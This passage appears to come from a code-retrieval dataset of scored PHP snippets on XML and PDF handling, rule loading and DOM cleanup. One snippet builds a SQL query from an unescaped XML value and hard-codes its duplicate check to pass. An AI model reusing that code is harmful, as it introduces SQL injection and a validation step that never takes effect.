($xml->childNodes as $node)\n {\n if ($node->nodeType != XML_ELEMENT_NODE)\n continue;\n if ($node->tagName != 'entry')\n {\n mwarning(\"A rule entry with tag '{$node->tagName}' was found and ignored\");\n continue;\n }\n /** @var SecurityRule|NatRule|DecryptionRule|Rule $nr */\n $nr = new $this->type($this);\n $nr->load_from_domxml($node);\n if( PH::$enableXmlDuplicatesDeletion )\n {\n if( isset($nameIndex[$nr->name()]) )\n {\n mwarning(\"rule named '{$nr->name()}' is present twice on the config and was cleaned by PAN-PHP-FRAMEWORK\");\n $duplicatesRemoval[] = $node;\n continue;\n }\n }\n\n $nameIndex[$nr->name()] = TRUE;\n $this->_rules[] = $nr;\n }\n }\n\n\t\tif( $this->isPreOrPost && $xmlPost !== null )\n\t\t{\n\t\t\t$this->postRulesRoot = $xmlPost;\n\n\t\t\tforeach ($xmlPost->childNodes as $node)\n\t\t\t{\n\t\t\t\tif ($node->nodeType != XML_ELEMENT_NODE)\n continue;\n\n if ($node->tagName != 'entry')\n {\n mwarning(\"A rule entry with tag '{$node->tagName}' was found and ignored\");\n continue;\n }\n\t\t\t\t$nr = new $this->type($this);\n\t\t\t\t$nr->load_from_domxml($node);\n if( PH::$enableXmlDuplicatesDeletion )\n {\n if( isset($nameIndex[$nr->name()]) )\n {\n mwarning(\"rule named '{$nr->name()}' is present twice on the config and was cleaned by PAN-PHP-FRAMEWORK\");\n $duplicatesRemoval[] = $node;\n continue;\n }\n }\n\n $nameIndex[$nr->name()] = TRUE;\n $this->_postRules[] = $nr;\n\t\t\t}\n\t\t}\n\n foreach( $duplicatesRemoval as $node )\n {\n $node->parentNode->removeChild($node);\n }\n\n\t\t$this->regen_Indexes();\n\t}", "title": "" }, { "docid": "861ba01a79c9ffd6414f004513542bff", "score": "0.4599935", "text": "function pdf2xml_xml_objref($pdf, XMLWriter $xmlWriter)\n{\n\tif(isset($pdf[0]) && $pdf[0] === 'objref'\n\t\t&& isset($pdf[1]) && !empty($pdf[1]))\n\t{\n\t\t$xmlWriter->startElement('objref');\n\t\t$xmlWriter->text($pdf[1]);\n\t\t$xmlWriter->endElement();\n\t}\n}", "title": "" }, { "docid": "a5a585c3db29125d7c9f22d59555ecae", "score": "0.45913446", "text": "protected function resetDocument(){\r\n\t\t$this->document = new DomDocument('1.0', 'utf-8');\r\n\t\t$this->document->formatOutput = true;\r\n\t}", "title": "" }, { "docid": "a5f4459f68e102aee2acc4fa31199862", "score": "0.456814", "text": "public function testSanitizeXMLDoc()\n {\n $dataDirectory = __DIR__ . '/data';\n $initialData = file_get_contents($dataDirectory . '/xmlTestOne.xml');\n $expected = file_get_contents($dataDirectory . '/xmlCleanOne.xml');\n\n $cleanData = $this->class->sanitize($initialData);\n\n $this->assertXmlStringEqualsXmlString($expected, $cleanData);\n }", "title": "" }, { "docid": "e344f026a165081f425f203de0de843f", "score": "0.45653543", "text": "public function cleanDom($dom)\n {\n // add border attributes to tables\n foreach ($dom->getElementsByTagName('table') as $tablenode) {\n $tablenode->setAttribute('style','border: 2px #000000 solid;');\n }\n\n // add font weight attributes to th elements\n foreach ($dom->getElementsByTagName('th') as $thnode) {\n $thnode->setAttribute('style','font-weight: bold;');\n }\n\n // replace h1-h6 elements for PHP Word processing\n for ($i = 1; $i <= 6; $i++) {\n $fontsize = 26 - ($i * 2);\n do {\n // The list is dynamic so search again until no longer found\n $headers = $dom->getElementsByTagName('h' . $i);\n $headerNode = $headers->item(0);\n if ($headerNode) {\n $newHeaderNode = $dom->createElement(\"p\", $headerNode->nodeValue);\n $newHeaderNode->setAttribute('style', 'font-weight: bolder; font-size: ' . $fontsize . 'px;');\n $headerNode->parentNode->replaceChild($newHeaderNode, $headerNode);\n }\n } while ($headers->length > 0);\n }\n \n do {\n // The list is dynamic so search again until no longer found\n $canvas = $dom->getElementsByTagName('canvas' . $i);\n $canvasNode = $canvas->item(0);\n if ($canvasNode) {\n $canvasNode->parentNode->removeChild($canvasNode);\n\n }\n } while ($canvas->length > 0);\n\n return $dom;\n }", "title": "" }, { "docid": "c01896c8f863aa4f0128090f37532326", "score": "0.4564578", "text": "public function processXml() {\n if(!empty($this->currentId)) {\n $this->setXmlVars();\n $xml = $this->createXml();\n $this->storeXml($xml);\n print_r($this->xml);\n }\n }", "title": "" }, { "docid": "5973269c546527b1cbbf7215878702a4", "score": "0.4531725", "text": "public function remove()\n {\n $xml = simplexml_load_file($this->getFile());\n $target = $xml->xpath(\"//dealer[@ref='\" . $this->_code . \"']\");\n if (!$target) {\n return false;\n }\n\n $domRef = dom_import_simplexml($target[0]);\n $domRef->parentNode->removeChild($domRef);\n\n $dom = new \\DOMDocument('1.0');\n $dom->preserveWhiteSpace = false;\n $dom->formatOutput = true;\n $dom->loadXML($xml->asXML());\n return $dom->save($this->getFile());\n }", "title": "" }, { "docid": "4f2918787fbe9d3bc2665461cda2489e", "score": "0.448868", "text": "function validate_XDSDocumentEntryUniqueId($dom,$connessione)\n{\n// $fp_uniqueIdQuery = fopen(\"tmp/DocumentEntryUniqueIdQuery\",\"w+\");\n\n\t$ebxml_value = array();\n\n##### RADICE DEL DOCUMENTO ebXML\n\t$root_ebXML = $dom->document_element();\n\t\n\t##### ARRAY DEI NODI ExtrinsicObject\n\t$dom_ebXML_ExtrinsicObject_node_array=$root_ebXML->get_elements_by_tagname(\"ExtrinsicObject\");\n\n\t#### CICLO SU OGNI ExtrinsicObject ####\n\t$isEmpty = false;\n\t$failure = \"\";\n\tfor($index=0;$index<(count($dom_ebXML_ExtrinsicObject_node_array));$index++)\n\t{\n\t##### NODO ExtrinsicObject RELATIVO AL DOCUMENTO NUMERO $index\n\t$ExtrinsicObject_node = $dom_ebXML_ExtrinsicObject_node_array[$index];\n\t\n\t#### ARRAY DEI FIGLI DEL NODO ExtrinsicObject ##############\t\n\t$ExtrinsicObject_child_nodes = $ExtrinsicObject_node->child_nodes();\n\t#################################################################\n\n################# PROCESSO TUTTI I NODI FIGLI DI ExtrinsicObject\n\tfor($k=0;$k<count($ExtrinsicObject_child_nodes);$k++)\n\t{\n\t\t#### SINGOLO NODO FIGLIO DI ExtrinsicObject\n\t\t$ExtrinsicObject_child_node=$ExtrinsicObject_child_nodes[$k];\n\t\t#### NOME DEL NODO\n\t\t$ExtrinsicObject_child_node_tagname = $ExtrinsicObject_child_node->node_name();\n\n\t\tif($ExtrinsicObject_child_node_tagname=='ExternalIdentifier')\n\t\t{\n\t\t\t$externalidentifier_node = $ExtrinsicObject_child_node;\n\t\t\t$value_value= avoidHtmlEntitiesInterpretation($externalidentifier_node->get_attribute('value'));\n\t\t\t\n\t\t\t#### NODI FIGLI DI EXTERNALIDENTIFIER\n\t\t\t$externalidentifier_child_nodes = $externalidentifier_node->child_nodes();\n\t\t//print_r($name_node);\n\t\t\tfor($q = 0;$q < count($externalidentifier_child_nodes);$q++)\n\t\t\t{\n\t\t\t\t$externalidentifier_child_node = $externalidentifier_child_nodes[$q];\n\t\t\t\t$externalidentifier_child_node_tagname = $externalidentifier_child_node->node_name();\n\t\t\t\tif($externalidentifier_child_node_tagname=='Name')\n\t\t\t\t{\n\t\t\t\t\t$name_node=$externalidentifier_child_node;\n\n\t\t\t\t\t$LocalizedString_nodes = $name_node->child_nodes();\n\t\t//print_r($LocalizedString_nodes);\n\t\t\tfor($p = 0;$p < count($LocalizedString_nodes);$p++)\n\t\t\t{\n\t\t\t\t$LocalizedString_node = $LocalizedString_nodes[$p];//->node_name();\n\t\t\t\t$LocalizedString_node_tagname = $LocalizedString_node->node_name();\n\n\t\t\t\tif($LocalizedString_node_tagname == 'LocalizedString')\n\t\t\t\t{\n\t\t\t\t\t$LocalizedString_value =$LocalizedString_node->get_attribute('value');\n\t\t\t\t\tif(strpos(strtolower(trim($LocalizedString_value)),strtolower('DocumentEntry.uniqueId')))\n\t\t\t\t\t{\n\t\t\t\t\t\t$ebxml_value[$index] = $value_value;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\t}//END OF if($ExtrinsicObject_child_node_tagname=='ExternalIdentifier')\n\n\t\n\t}\n\n\n\t//QUERY AL DB\n \t$query = \"SELECT XDSDOCUMENTENTRY_UNIQUEID FROM DOCUMENTS WHERE XDSDOCUMENTENTRY_UNIQUEID = '\".$ebxml_value[$index].\"'\";\n \t\n\t### EFFETTUO LA QUERY ED OTTENGO IL RISULTATO\n\t$res = query_select2($query,$connessione); //array bidimensionale\n\t \n\t//Qui dovrei verificare che l'hash sia differente ma dato che non salvo l'hash non posso verificarlo\n \t//$isEmptyUniqueId = ((empty($res)) || $isEmpty);\n\t$isEmptyUniqueId = true;\n\n\t\tif(!$isEmptyUniqueId){###---> uniqueId già presente --> eccezione\n\t\t\t$errorcode[]=\"XDSNonIdenticalHash\";\n\t\t\t$error_message[] = \"ExternalIdentifier XDSDocumentEntry.uniqueId '\".$ebxml_value[$index].\"' (urn:uuid:2e82c1f6-a085-4c72-9da3-8640a32e42ab) already exists in registry\";\n\t\t\t$uniqueId_response = makeSoapedFailureResponse($error_message,$errorcode);\n\t\t\twriteTimeFile($_SESSION['idfile'].\"--Repository: uniqueId_failure_response\");\n\t\t\t\n\t\t\t$file_input=$_SESSION['idfile'].\"-uniqueId_failure_response-\".$_SESSION['idfile'];\n\t\t\twriteTmpFiles($uniqueId_response,$file_input);\n\n\t\t\tSendResponse($uniqueId_response);\n\t\t\texit;\n\t\t}\n\t}//END OF for($index=0;$index<(count($dom_ebXML_ExtrinsicObject_node_array));$index++)\n \t$ret = array($isEmptyUniqueId,$ebxml_value);\n\treturn $ret;\n\n \n}", "title": "" }, { "docid": "c3278f1640a9c1d9187c33b86461efce", "score": "0.44615456", "text": "protected function main ()\n\t{\n $xmlFile = '';\n $dtdFile = '';\n $this->loadFiles($this->absolutePathToFolder, $xmlFile, $dtdFile); // may add errors to the error list\n if ($this->hasErrors())\n {\n return;\n }\n\n // Files loaded.\n $this->addGoals(array(\n self::goalWellFormedXml => 'XML is well-formed',\n self::goalValidXml => 'XML is valid to supplied DTD',\n self::goalValidDtd => 'DTD is valid',\n self::goalCorrectReferral => 'The XML\\'s DOCTYPE declaration refers to the provided DTD.',\n self::goalCoveredDtd => 'DTD document contains required constructs',\n self::goalCoveredXml => 'XML document contains required constructs',\n self::goalCoveredSpecials => 'Documents contain required special constructs',\n ));\n\n\t StringUtils::removeBomFromFile($dtdFile);\n\t\t$dtdString = file_get_contents($dtdFile);\n $xmlString = file_get_contents($xmlFile);\n $dtdString = $this->convertToUtf8($dtdString);\n $xmlString = $this->convertToUtf8($xmlString);\n if ($xmlString === false)\n {\n $this->addError(\"The XML file must be either in UTF-8 or in UTF-16.\");\n }\n if ($dtdString === false)\n {\n $this->addError(\"The DTD file must be either in UTF-8 or in UTF-16.\");\n }\n if ($this->hasErrors())\n {\n return;\n }\n\t\tif ($this->loadXml($xmlFile, true, $xmlDom, $error))\n\t\t{\n $xmlDom->formatOutput = true;\n /**\n * @var DOMDocument $xmlDomDocument\n */\n $xmlDomDocument = $xmlDom;\n if (!$xmlDomDocument->doctype)\n {\n $this->failGoal(self::goalCorrectReferral, \"The XML does not have a DOCTYPE declaration.\");\n if ($this->checkDTDValidity($dtdString, \"\", $dtdDoc))\n {\n $this->checkDTDConstructCoverage($dtdDoc);\n }\n else\n {\n $this->failGoal(self::goalCoveredDtd, 'Document did not pass DTD well-formedness and validity checks.');\n }\n }\n else\n {\n if ($xmlDomDocument->doctype->systemId === basename($dtdFile) || $xmlDomDocument->doctype->systemId === \"./\" . basename($dtdFile))\n {\n $this->reachGoal(self::goalCorrectReferral);\n }\n else\n {\n $this->failGoal(self::goalCorrectReferral, \"The XML file refers to a different DTD than the one provided.\");\n }\n\n $internalSubset = $xmlDomDocument->doctype->internalSubset;\n\n if ($this->checkDTDValidity($dtdString, $internalSubset, $dtdDoc))\n {\n $this->checkDTDConstructCoverage($dtdDoc);\n }\n else\n {\n $this->failGoal(self::goalCoveredDtd, 'Document did not pass DTD well-formedness and validity checks.');\n }\n }\n $this->reachGoal(self::goalWellFormedXml);\n\t\t\t$this->checkXMLValidity($xmlDom);\n\t\t\t$this->checkXMLConstructCoverage($xmlDom);\n\t\t\t$this->checkSpecialConstructCoverage($xmlString, $dtdString);\n\t\t}\n\t\telse\n\t\t{\n if ($this->checkDTDValidity($dtdString, \"\", $dtdDoc))\n {\n $this->checkDTDConstructCoverage($dtdDoc);\n }\n else\n {\n $this->failGoal(self::goalCoveredDtd, 'Document did not pass DTD well-formedness and validity checks.');\n }\n\t\t\t$this->failGoals(array(self::goalWellFormedXml, self::goalValidXml,\n\t\t\t\t\tself::goalCoveredXml, self::goalCoveredSpecials, self::goalCorrectReferral), $error);\n\t\t}\n\t}", "title": "" }, { "docid": "8de8ae6bded41a9a6d523a9b70123658", "score": "0.44563285", "text": "public function rewriteXML()\n\t{\n if( $this->xmlroot !== null )\n DH::clearDomNodeChilds($this->xmlroot);\n else\n $this->createXmlRoot();\n\n\t\tforeach($this->_rules as $rule )\n\t\t{\n\t\t\t$this->xmlroot->appendChild($rule->xmlroot);\n\t\t}\n\n\t\tif( $this->isPreOrPost )\n\t\t{\n\t\t\tif( $this->postRulesRoot !== null )\n DH::clearDomNodeChilds($this->postRulesRoot);\n else\n $this->createPostXmlRoot();\n\n\t\t\tforeach($this->_postRules as $rule )\n\t\t\t{\n\t\t\t\t$this->postRulesRoot->appendChild($rule->xmlroot);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "8b3b3bfba58f261653a2bef82bf5319f", "score": "0.44459742", "text": "function pdf2xml_validating($xml_file)\n{\n\tPhar::interceptFileFuncs();\n\tlibxml_use_internal_errors(true);\n\t$errors = array();\n\t$xml = new DOMDocument();\n\t$xml->load($xml_file);\n\tif(!$xml->schemaValidateSource(file_get_contents(PDF_XML_XSD)))\n\t{\n\t\t$errors = libxml_get_errors();\n\t}\n\tlibxml_clear_errors();\n\n\treturn $errors;\n}", "title": "" }, { "docid": "cec4c21965eca8d6d329385d4b20b4e4", "score": "0.44197395", "text": "protected function cleanUpDom(DOMDocument $dom): DOMDocument\n {\n if ($this->is_comment_remove) {\n $dom = $this->removeComment($dom);\n }\n if ($this->is_style_remove) {\n $dom = $this->removeStyle($dom);\n }\n if ($this->is_script_remove) {\n $dom = $this->removeScript($dom);\n }\n\n return $dom;\n }", "title": "" }, { "docid": "f695dce636fd2670dfa63ad8342d36d5", "score": "0.44189906", "text": "public function invalidate() {\n\t\tif (file_exists($this->pathToCacheFile)) {\n\t\t\t$this->cachexml = null;\n\t\t\tunlink($this->pathToCacheFile);\n\t\t\t$this->changed = false;\n\t\t}\n\t}", "title": "" }, { "docid": "04b0a46ba7d39433f91d865b16773676", "score": "0.4411848", "text": "function handleFileRename($old_file,$new_file)\n\t\t {\n\t\t \n\t\t /*\n\t\t * Find all links containing $old_file\n\t\t */\n $q = \" SELECT id,document_id \n FROM linkrefs \n WHERE target_file = '\".mysql_real_escape_string($old_file).\"'\";\n \n $r = mysql_query($q);\n \n while($dInf = mysql_fetch_assoc($r))\n {\n $did = $dInf['document_id'];\n\n /*\n * Take the document_id and fetch the file path of source document.\n * NOTE: document_index stores local file path. This doesn't matter\n * here, but keep that in mind should you make changes.\n */\n \n $q1 = \" SELECT file_path \n FROM document_index \n WHERE id = $did \n LIMIT 1\";\n \n $r1 = mysql_query($q1);\n $inf1 = mysql_fetch_assoc($r1);\n \n $src_path = $inf1['file_path'];\n \n /*\n * Have path to the source document.\n * We want to go through the source document, find the\n * $old_name in a a::href string, and replace it. Note as well\n * that it is very likely that the same link ref will exist\n * multiple times in a document. The linkrefs table will store\n * multiple target references for this document. As such, we\n * don't delete ALL occurrences of any given link, just the first\n * we find, then exit.\n *\n * Once links updated, replace file with new one...\n */\n \n /*\n * we can expect bad html, so suppress errors.\n */\n $doc = new DOMDocument();\n @$doc->loadHTMLFile($src_path);\n \n if($doc)\n { \n $allA = $doc->getElementsByTagName('a');\n \n foreach($allA as $el)\n {\n $aref = $el->getAttribute('href'); \n \n /*\n * have to add the public path to the file info\n * we have, as it is truncated for linkrefs\n */\n $old_file_x = self::M()->publicRootPath.$old_file;\n $new_file_x = self::M()->publicRootPath.$new_file;\n \n if($aref == $old_file_x)\n {\n /*\n * found the link. Do string replacement.\n */ \n\n $el->setAttribute('href',$new_file_x);\n \n /*\n * again... linkrefs table will store multiple target references\n * if the document contains multiple links to the same file. So,\n * we just handle the first one we find, and progress through the\n * linkrefs list will eventually remove them all.\n */\n break;\n }\n } \n \n /*\n * now rewrite source file. \n */\n @$doc->saveHTMLFile($src_path);\n }\n\t\t } \n\t\t \n\t\t /*\n\t\t * Now update the `linkref` table to reflect changes.\n\t\t */\n $q = \" UPDATE linkrefs \n SET target_file = '\".mysql_real_escape_string($new_file).\"' \n WHERE target_file = '\".mysql_real_escape_string($old_file).\"' \";\n \n if(!mysql_query($q))\n {\n return false; \n }\n \n return true;\n\t\t }", "title": "" }, { "docid": "a1151a07b81b8fd798508912bda99512", "score": "0.44100732", "text": "static function loadDOMDocument($xml) {\n\t\tif (empty($xml))\n\t\t\tthrow new Exception('Empty XML document sent');\n\n\t\t\t// The BitKinex client sends xml documents as UTF-16. PHP 5.3.1 (and presumably lower)\n\t\t\t// does not support this, so we must intercept this and convert to UTF-8.\n\t\t\tif (substr($xml, 0, 12) === \"\\x3c\\x00\\x3f\\x00\\x78\\x00\\x6d\\x00\\x6c\\x00\\x20\\x00\") {\n\n\t\t\t// Note: the preceeding byte sequence is \"<?xml\" encoded as UTF_16, without the BOM.\n\t\t\t$xml = iconv('UTF-16LE', 'UTF-8', $xml);\n\n\t\t\t// Because the xml header might specify the encoding, we must also change this.\n\t\t\t// This regex looks for the string encoding=\"UTF-16\" and replaces it with\n\t\t\t// encoding=\"UTF-8\".\n\t\t\t$xml = preg_replace('|<\\?xml([^>]*)encoding=\"UTF-16\"([^>]*)>|u','<?xml\\1encoding=\"UTF-8\"\\2>',$xml);\n\n\t\t}\n\n\t\t// Retaining old error setting\n\t\t$oldErrorSetting = libxml_use_internal_errors(true);\n\t\t// Fixes an XXE vulnerability on PHP versions older than 5.3.23 or\n\t\t// 5.4.13.\n\t\t$oldEntityLoaderSetting = libxml_disable_entity_loader(true);\n\n\t\t// Clearing any previous errors\n\t\tlibxml_clear_errors();\n\n\t\t$dom = new DOMDocument();\n\n\t\t// We don't generally care about any whitespace\n\t\t$dom->preserveWhiteSpace = false;\n\n\t\t$xml = preg_replace(\"/xmlns(:[A-Za-z0-9_]*)?=(\\\"|\\')DAV:(\\\\2)/\",\"xmlns\\\\1=\\\\2urn:DAV\\\\2\", $xml);\n\n\t\t$dom->loadXML($xml, LIBXML_NOWARNING | LIBXML_NOERROR);\n\n\t\tif ($error = libxml_get_last_error()) {\n\t\t\tlibxml_clear_errors();\n\t\t\tthrow new Exception('The request body had an invalid XML body. (message: ' . $error->message . ', errorcode: ' . $error->code . ', line: ' . $error->line . ')');\n\t\t}\n\n\t\t// Restoring old mechanism for error handling\n\t\tif ($oldErrorSetting === false) libxml_use_internal_errors(false);\n\t\tif ($oldEntityLoaderSetting === false) libxml_disable_entity_loader(false);\n\n\t\treturn $dom;\n\t}", "title": "" }, { "docid": "c672f58b17a8b05239c903cbb208d1e6", "score": "0.43987417", "text": "public function afterLoad(Document $document)\n {\n if (! $document->html->hasAttributes()) {\n return;\n }\n\n $xmlns = $document->html->attributes->getNamedItem('xmlns');\n if ($xmlns instanceof DOMAttr && 'http://www.w3.org/1999/xhtml' === $xmlns->nodeValue) {\n $document->html->removeAttributeNode($xmlns);\n }\n\n $xml_lang = $document->html->attributes->getNamedItem('xml:lang');\n if ($xml_lang instanceof DOMAttr) {\n $lang_node = $document->html->attributes->getNamedItem('lang');\n if ((! $lang_node || ! $lang_node->nodeValue) && $xml_lang->nodeValue) {\n // Move the html[xml:lang] value to html[lang].\n $document->html->setAttribute('lang', $xml_lang->nodeValue);\n }\n $document->html->removeAttributeNode($xml_lang);\n }\n }", "title": "" }, { "docid": "56c4affeace3da0f3b6229f0292b8080", "score": "0.43920112", "text": "function xml2pdf($file_xml, $file_out)\n{\n\t$pdf_type = array(\n\t\t'array' => 1,\n\t\t'boolean' => 1,\n\t\t'dictionary' => 1,\n\t\t'name' => 1,\n\t\t'numeric' => 1,\n\t\t'objref' => 1,\n\t\t'string' => 1);\n\t$pdf_clean_token = array(\n\t\t' /' => '/',\n\t\t' [' => '[',\n\t\t'] ' => ']',\n\t\t' (' => '(',\n\t\t') ' => ')',\n\t\t' <' => '<',\n\t\t'> ' => '>');\n\t$pdf_clean_token_k = array_keys($pdf_clean_token);\n\t//Xml loading\n\t$dom = new DOMDocument();\n\t$reader = new XMLReader;\n\t$reader->open($file_xml);\n\t//Initialise output file\n\tfile_put_contents($file_out, '');\n\t//Adding first node\n\t$length = 0;\n\t$reader->next('pdf');\n\t//%%μῦ -> to force binary data\n\t$length += file_put_contents($file_out, '%PDF-'.$reader->getAttribute('version').PHP_EOL.'%%μῦ'.PHP_EOL, FILE_APPEND);\n\t$reader->moveToElement();\n\t$reader->read();\n\t$objects = array();\n\twhile($reader->next())\n\t{\n\t\tif($reader->nodeType == XMLReader::ELEMENT)\n\t\t{\n\t\t\tswitch($reader->localName)\n\t\t\t{\n\t\t\t\tcase 'trailer':\n\t\t\t\t\t$trailer_dom = $dom->importNode($reader->expand(), true);\n\t\t\t\tbreak;\n\t\t\t\tcase 'objects':\n\t\t\t\t$reader->read();\n\t\t\t\t//Objects reading\n\t\t\t\twhile($reader->next('object'))\n\t\t\t\t{\n\t\t\t\t\tif($reader->nodeType == XMLReader::ELEMENT)\n\t\t\t\t\t{\n\t\t\t\t\t\t$obj_name = $reader->getAttribute('name');\n\t\t\t\t\t\t$object = $dom->importNode($reader->expand(), true);\n\t\t\t\t\t\t$data = array();\n\t\t\t\t\t\tif($object->hasChildNodes())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$is_stream = false;\n\t\t\t\t\t\t\t$id_dict = false;\n\t\t\t\t\t\t\t$other = array();\n\t\t\t\t\t\t\t//Presence d'un dictionnaire et d'un stream\n\t\t\t\t\t\t\tforeach($object->childNodes as $i => $child)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(isset($child->tagName))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif($child->tagName === 'dictionary')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$id_dict = $child;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif($child->tagName === 'stream')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$is_stream = $child;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif($id_dict !== false && $is_stream !== false)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif($is_stream === false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tforeach($object->childNodes as $child)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif(isset($child->tagName) && isset($pdf_type[$child->tagName]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$data[] = str_replace($pdf_clean_token_k, $pdf_clean_token, xml2pdf_node2string($child));\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($id_dict !== false)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$data = xml2pdf_node2string($is_stream, $id_dict);\n\t\t\t\t\t\t\t\t\tif(isset($data[0]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$data[0] = str_replace($pdf_clean_token_k, $pdf_clean_token, $data[0]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$name = explode('_', $obj_name);\n\t\t\t\t\t\t$txt = PHP_EOL.$name[0].' '.$name[1].' obj'.PHP_EOL;\n\t\t\t\t\t\t$txt .= implode(PHP_EOL, $data).PHP_EOL;\n\t\t\t\t\t\t$txt .= 'endobj'.PHP_EOL;\n\t\t\t\t\t\t//Linearized objects are ignored\n\t\t\t\t\t\tif(!empty($txt) && strpos($txt, '/Linearized') === false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$name = $name[0].'_'.str_pad($name[1], 5, '0', STR_PAD_LEFT);\n\t\t\t\t\t\t\t$objects[$name] = $length;\n\t\t\t\t\t\t\t$length += file_put_contents($file_out, $txt, FILE_APPEND);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t//Saving objects and offset for xref\n\t//A xref line length is 20 byte, so if the eol is one byte, we add a space before\n\t$xref_eol = strlen(PHP_EOL) === 2? PHP_EOL: ' '.PHP_EOL;\n\t$xref_source = array();\n\t$xref = array();\n\t//The first xref line\n\t$xref['init'] = '0000000000 65535 f'.$xref_eol;\n\tif(count($objects) > 0)\n\t{\n\t\tforeach($objects as $obj_name => $offset)\n\t\t{\n\t\t\t$name = explode('_', $obj_name);\n\t\t\t$xref_source[$name[0]][$name[1]] = str_pad($offset, 10, '0', STR_PAD_LEFT).' '.str_pad($name[1], 5, '0', STR_PAD_LEFT).' n';\n\t\t}\n\t}\n\tksort($xref_source);\n\t$check_indice = 1;\n\t//Adding some correctives line if necessery\n\tforeach($xref_source as $i => $xref_bis)\n\t{\n\t\tif($check_indice === $i)\n\t\t{\n\t\t\tif(is_array($xref_bis))\n\t\t\t{\n\t\t\t\tforeach($xref_bis as $v => $xref_value)\n\t\t\t\t{\n\t\t\t\t $xref[$i.'_'.(int)$v] = $xref_value.$xref_eol;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$xref[$i.'_0'] = '0000000000 00000 f'.$xref_eol;\n\t\t\t}\n\t\t\t$check_indice = $i + 1;\n\t\t}\n\t\telseif($check_indice < $i)\n\t\t{\n\t\t\tfor($check_indice; $check_indice < $i; $check_indice++)\n\t\t\t{\n\t\t\t\t$xref[$check_indice.'_0'] = '0000000000 00000 f'.$xref_eol;\n\t\t\t}\n\t\t\t$check_indice = $i + 1;\n\t\t\tif(is_array($xref_bis))\n\t\t\t{\n\t\t\t\tforeach($xref_bis as $v => $xref_value)\n\t\t\t\t{\n\t\t\t\t $xref[$i.'_'.(int)$v] = $xref_value.$xref_eol;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$xref[$i.'_0'] = '0000000000 00000 f'.$xref_eol;\n\t\t\t}\n\t\t}\n\t}\n\t//Writing this\n\t$length += file_put_contents($file_out, PHP_EOL, FILE_APPEND);\n\t$str_xref = 'xref'.PHP_EOL;\n\t$str_xref .= '0 '.count($xref).PHP_EOL;\n\t$str_xref .= implode('', $xref).PHP_EOL;\n\tfile_put_contents($file_out, $str_xref, FILE_APPEND);\n\t//Adding trailer\n\t$trailer = array('/Size '.count($xref));\n\tif($trailer_dom->hasChildNodes())\n\t{\n\t\tforeach($trailer_dom->childNodes as $child)\n\t\t{\n\t\t\tif(isset($child->tagName))\n\t\t\t{\n\t\t\t\tswitch($child->tagName)\n\t\t\t\t{\n\t\t\t\t\tcase 'size':\n\t\t\t\t\t\t$trailer[] = '/Size '.count($xref).' ';\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'root':\n\t\t\t\t\t\t$name = $child->nodeValue;\n\t\t\t\t\t\tif(isset($xref[$name]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$name = explode('_', $name);\n\t\t\t\t\t\t\t$trailer[] = '/Root '.$name[0].' '.$name[1].' R ';\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'encrypt':\n\t\t\t\t\t\t$name = $child->nodeValue;\n\t\t\t\t\t\tif(isset($xref[$name]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$name = explode('_', $name);\n\t\t\t\t\t\t\t$trailer[] = '/Encrypt '.$name[0].' '.$name[1].' R ';\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'info':\n\t\t\t\t\t\t$name = $child->nodeValue;\n\t\t\t\t\t\tif(isset($xref[$name]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$name = explode('_', $name);\n\t\t\t\t\t\t\t$trailer[] = '/Info '.$name[0].' '.$name[1].' R ';\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'id':\n\t\t\t\t\t\tif($child->hasChildNodes())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach($child->childNodes as $i => $wchild)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(isset($wchild->tagName))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif($wchild->tagName === 'array')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$trailer[] = '/ID 